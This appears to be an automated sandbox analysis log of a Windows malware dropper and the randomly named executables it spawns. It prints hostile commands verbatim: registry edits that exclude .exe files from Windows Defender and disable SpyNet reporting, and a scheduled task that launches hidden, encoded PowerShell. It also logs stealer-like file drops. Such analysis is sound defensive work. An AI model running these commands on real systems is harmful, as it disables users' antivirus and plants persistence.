            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeProcess created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6c4774f0,0x6c477500,0x6c47750c
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: unknown unknown
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe "C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe"
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeProcess created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6b3d74f0,0x6b3d7500,0x6b3d750c
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exe .\Install.exe
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\forfiles.exeProcess created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeProcess created: unknown unknown
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
            Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z35dvta3.tve.ps1Jump to behavior
            Source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS PROVIDERSPROP ( PROVIDERID TEXT NOT NULL COLLATE NOCASE CHECK(PROVIDERID <> ''), VARIABLE TEXT NOT NULL COLLATE NOCASE CHECK(VARIABLE <> ''), VALUE TEXT, TYPE INTEGER, PRIMARY KEY(PROVIDERID, VARIABLE));
            Source: yYAwgDWrkYJyyOGvYzyiJrxu.exeBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
            Source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS COMPLETEDUPDATES ( PROVIDERID TEXT NOT NULL COLLATE NOCASE CHECK(PROVIDERID <> ''), UPDATEID TEXT NOT NULL COLLATE NOCASE CHECK(UPDATEID <> ''), TIME TEXT, TITLE TEXT, DESCRIPTION TEXT, MOREINFOURL TEXT, HISTORYCATEGORY TEXT, UNINSTALL INTEGER, PRIMARY KEY(PROVIDERID, UPDATEID));
            Source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS UPDATESPROP ( PROVIDERID TEXT NOT NULL COLLATE NOCASE CHECK(PROVIDERID <> ''), UPDATEID TEXT NOT NULL COLLATE NOCASE CHECK(UPDATEID <> ''), VARIABLE TEXT NOT NULL COLLATE NOCASE CHECK(VARIABLE <> ''), VALUE TEXT, TYPE INTEGER, PRIMARY KEY(PROVIDERID, UPDATEID, VARIABLE) FOREIGN KEY(PROVIDERID, UPDATEID) REFERENCES UPDATES(PROVIDERID, UPDATEID) ON DELETE CASCADE);
            Source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000003.2525549015.0000000009767000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS ACTIONRECORDS ( PROVIDERID TEXT NOT NULL COLLATE NOCASE CHECK(PROVIDERID <> ''), UPDATEID TEXT NOT NULL COLLATE NOCASE CHECK(UPDATEID <> ''), TIME TEXT, ACTION TEXT, ACTIONCLASS TEXT, RESULT INTEGER, PRIMARY KEY(PROVIDERID, UPDATEID, TIME) FOREIGN KEY(PROVIDERID, UPDATEID) REFERENCES UPDATES(PROVIDERID, UPDATEID) ON DELETE CASCADE);
            Source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS VARIABLES ( KEY TEXT NOT NULL COLLATE NOCASE CHECK(KEY <> ''), VALUE TEXT, TYPE INTEGER, PRIMARY KEY(KEY));
            Source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS UPDATES ( PROVIDERID TEXT NOT NULL COLLATE NOCASE CHECK(PROVIDERID <> ''), UPDATEID TEXT NOT NULL COLLATE NOCASE CHECK(UPDATEID <> ''), SERIALIZEDUPDATE BLOB, PRIMARY KEY(PROVIDERID, UPDATEID));
            Source: file.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
            Source: C:\Users\user\Desktop\file.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6036:120:WilError_03
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeMutant created: \Sessions\1\BaseNamedObjects\Je35ClientPPWW_4
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7792:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8144:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeMutant created: \Sessions\1\BaseNamedObjects\Global\Opera/Installer/C:/Users/user/AppData/Local/Programs/Opera
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6804:120:WilError_03
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: ran-launcher
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: replace-addons-extensions-with-gx-store-substitutes
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: run-at-startup-default
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: run-at-startup
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: installer-bypass-launcher
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: video-on-start-page
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: yat-emoji-addresses
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: When enabled, https://addons.opera.com/en/extensions/details/dify-cashback/ extension will be added to the user's extensions
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: Local\%ls/Installer/UI_lock
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: master-copy-installation
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: launchopera-on-os-start
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: OperaInstaller/InstallationInterrupted
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: enable-installer-stats
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: test-pre-installed-extensions-dir
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: show-eula-window-on-start
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: post-elevated-install-tasks
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: Global\Opera/Installer/
            Source: r1O81gOTKkD0PfSdUigHGcl2.exeString found in binary or memory: all-installer-experiments
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: ran-launcher
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: replace-addons-extensions-with-gx-store-substitutes
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: run-at-startup
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: run-at-startup-default
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: video-on-start-page
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: yat-emoji-addresses
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: installer-bypass-launcher
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: When enabled, https://addons.opera.com/en/extensions/details/dify-cashback/ extension will be added to the user's extensions
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Local\%ls/Installer/UI_lock
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: OperaInstaller/InstallationInterrupted
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: enable-installer-stats
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: launchopera-on-os-start
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: master-copy-installation
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: show-eula-window-on-start
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: test-pre-installed-extensions-dir
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: post-elevated-install-tasks
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Global\Opera/Installer/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: all-installer-experiments
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: ran-launcher
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: replace-addons-extensions-with-gx-store-substitutes
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: run-at-startup
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: run-at-startup-default
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: video-on-start-page
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: yat-emoji-addresses
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: installer-bypass-launcher
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: When enabled, https://addons.opera.com/en/extensions/details/dify-cashback/ extension will be added to the user's extensions
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: Local\%ls/Installer/UI_lock
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: OperaInstaller/InstallationInterrupted
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: enable-installer-stats
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: launchopera-on-os-start
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: master-copy-installation
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: show-eula-window-on-start
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: test-pre-installed-extensions-dir
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: post-elevated-install-tasks
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: Global\Opera/Installer/
            Source: LnQdFAFVk46H7elzEZZ3Xdvx.exeString found in binary or memory: all-installer-experiments
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: ran-launcher
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: replace-addons-extensions-with-gx-store-substitutes
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: run-at-startup
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: run-at-startup-default
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: video-on-start-page
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: yat-emoji-addresses
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: installer-bypass-launcher
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: When enabled, https://addons.opera.com/en/extensions/details/dify-cashback/ extension will be added to the user's extensions
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Local\%ls/Installer/UI_lock
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: OperaInstaller/InstallationInterrupted
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: enable-installer-stats
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: launchopera-on-os-start
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: master-copy-installation
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: show-eula-window-on-start
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: test-pre-installed-extensions-dir
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Try '%ls --help' for more information.
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: post-elevated-install-tasks
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: Global\Opera/Installer/
            Source: OPqTdTFbxWlK6znimRD995XD.exeString found in binary or memory: all-installer-experiments
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile written: C:\Windows\System32\GroupPolicy\gpt.ini
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeFile read: C:\Windows\System32\drivers\etc\hosts
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Users\user\Desktop\file.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
            Source: file.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
            Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
            Source: file.exeStatic file information: File size 1153896 > 1048576
            Source: file.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x117a00
            Source: file.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: Binary string: RuntimeBroker.pdbUGP source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1637207390.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: RuntimeBroker.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1637207390.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: yYAwgDWrkYJyyOGvYzyiJrxu.exe
            Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer.exe.pdb source: OPqTdTFbxWlK6znimRD995XD.exe
            Source: Binary string: WmiPrvSE.pdbUGP source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer.exe.pdbp source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000E71000.00000040.00000001.01000000.0000000D.sdmp
            Source: Binary string: backgroundTaskHost.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: MoUsoCoreWorker.pdbGCTL source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: caspol.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1658638420.0000012FFC6F5000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: spoolsv.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1646448289.0000012FFCCC1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: C:\wivapasiyuvaw_kicuwu\yupo-37\tun.pdb source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000000.1502064925.0000000000401000.00000020.00000001.01000000.00000007.sdmp
            Source: Binary string: b.dll.pdb source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000000.1505650819.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000008.00000000.1510532640.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000000.1520861746.00000000010CD000.00000080.00000001.01000000.0000000D.sdmp
            Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: yYAwgDWrkYJyyOGvYzyiJrxu.exe
            Source: Binary string: MoUsoCoreWorker.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636463543.0000012FFCCCE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: WmiPrvSE.pdb source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: spoolsv.pdbUGP source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1646448289.0000012FFCCC1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: +.exe.pdb source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000000.1505650819.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000008.00000000.1510532640.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000000.1520861746.00000000010CD000.00000080.00000001.01000000.0000000D.sdmp
            Source: Binary string: C:\yomux\vopey\safuvitizidoz-xoy28\lovihizonohe.pdb source: 8AbV0HUy7VtZhy8wnNLXmsko.exe, 0000000E.00000001.1532314523.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, TNpJBjREJ9Gyf03FTGsVwgMm.exe, 0000001E.00000001.1750064546.0000000000401000.00000020.00000001.01000000.0000001A.sdmp
            Source: Binary string: +.exe.pdbp source: r1O81gOTKkD0PfSdUigHGcl2.exe, 00000007.00000000.1505650819.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 00000008.00000000.1510532640.0000000000B4D000.00000080.00000001.01000000.00000008.sdmp, r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000000.1520861746.00000000010CD000.00000080.00000001.01000000.0000000D.sdmp
            Source: Binary string: backgroundTaskHost.pdbGCTL source: DU9aZfxw1xhKC4ykOgcxwHTl.exe, 0000000F.00000003.1636955898.0000012FFC6E1000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: ;C:\wivapasiyuvaw_kicuwu\yupo-37\tun.pdb source: BXuFYgf6xs2uEKGHPQsSTe25.exe, 00000006.00000000.1502064925.0000000000401000.00000020.00000001.01000000.00000007.sdmp
            Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer_lib.dll.pdb source: r1O81gOTKkD0PfSdUigHGcl2.exe, 0000000C.00000002.1546289700.0000000000EF1000.00000040.00000001.01000000.0000000D.sdmp
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00411360 push ecx; mov dword ptr [esp], ecx32_2_00411361
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00413954 push eax; ret 32_2_00413972
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00413CC0 push eax; ret 32_2_00413CEE
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeCode function: 32_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,32_2_00418320
            Source: file.exeStatic PE information: 0xD08B56F9 [Thu Nov 14 06:51:37 2080 UTC]
            Source: initial sampleStatic PE information: section name: .text entropy: 7.195511453858471
            Source: file.exe, yk9a1efD2ZWxqLT.csHigh entropy of concatenated method names: 'cdIzrfxFCRbyW', '_7Uq1LFhBJPw5pyT2GuVi4MbE', 'lWkF8OSJvxN9nYcR1Uerj', 'ayr2zdLMZoltQubXR'
            Source: file.exe, AT45mCn6UQxJvVf8.csHigh entropy of concatenated method names: 'KPYCQAFZO4x97egX', 'JEp6DRlb4MyjtKZTocAXwFCs', 'o5nMUG2RHkuhCt7iTzw64', 'v7VUNgSaO2Qy'

            Persistence and Installation Behavior

            barindex
            Uses cmd line tools excessively to alter registry or file data
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\mozglue.dllJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\nss3.dllJump to dropped file
